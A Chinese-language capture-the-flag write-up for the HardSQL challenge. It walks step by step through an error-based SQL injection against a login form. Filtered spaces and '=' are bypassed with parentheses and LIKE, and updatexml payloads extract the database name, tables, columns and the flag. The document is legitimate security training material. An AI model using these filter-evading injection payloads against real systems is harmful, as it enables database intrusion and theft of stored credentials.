解題思路
打開靶場、熟悉的感覺
?上次是過濾了很多字符,用了雙寫繞過進行注入即可,這次進階了難度
先老規矩判斷下閉合
1'1'
123
報錯提示
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' and password='123'' at line 1
跟上次一樣了前面的1'消失了,說明單引號被閉合,那么這里報錯信息也是自動加了兩個單引號,那么username和password的閉合都是單引號
永真登錄嘗試
1' or 1=1#
1' or 1=1#
?
明顯做了過濾了,然后嘗試了很多,union被過濾、by被過濾、=被過濾、空格也被過濾等等
嘗試了雙寫繞過、大小寫繞過也是沒用的。這里先嘗試繞過進行永真登錄,=被過濾可以采取like替代,空格使用括號進行繞過
1'or((1)like(1))#
1'or((1)like(1))#
?
沒啥用,沒信息,只能回去慢慢注入,這里union被過濾了,聯合注入用不了,其他注入什么堆疊,嘗試了也不行,難度上升下一個就是盲注了,這里使用的是報錯注入
使用updatexml(a,b,c)進行報錯,a,c必須為字符,那我們可以讓a,c輸入數字進行報錯
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
123
XPATH syntax error: '~geek~'
?這里concat連接內容,0x7e就是波浪線,只是為了方便看輸出添加,也可以添加其他字符。
這里可以看到爆出來數據庫geek,接下來爆表,記得用括號代替空格,like代替等號即可
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
123
XPATH syntax error: '~H4rDsq1~'
?爆出來了H4rDsq1,接下來爆該表的列
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
123
XPATH syntax error: '~id,username,password~'
?爆出來了三個列,接下來查數據
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~1flagflag{d82fb26e-0f01-42e7-80'
?得到了部分的flag,嘗試只輸出password
1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
XPATH syntax error: '~flag{d82fb26e-0f01-42e7-804f-bd'
還是不夠,使用right輸出右邊的11個字符字符
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,11))))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~4a701dedc3}~'
然后拼接起來即可獲取flag
flag{d82fb26e-0f01-42e7-804f-bd4a701dedc3}
總結
一道進階到報錯注入的一道題,難點在過濾字符上面吧,空格不太容易發現,可能在這里會浪費點時間,其他注入邏輯還是比較基礎的。
下面這篇用爆破探測過濾字符的,挺有意思
非常經典的一道SQL報錯注入題目[極客大挑戰 2019]HardSQL 1(兩種解法!)-騰訊云開發者社區-騰訊云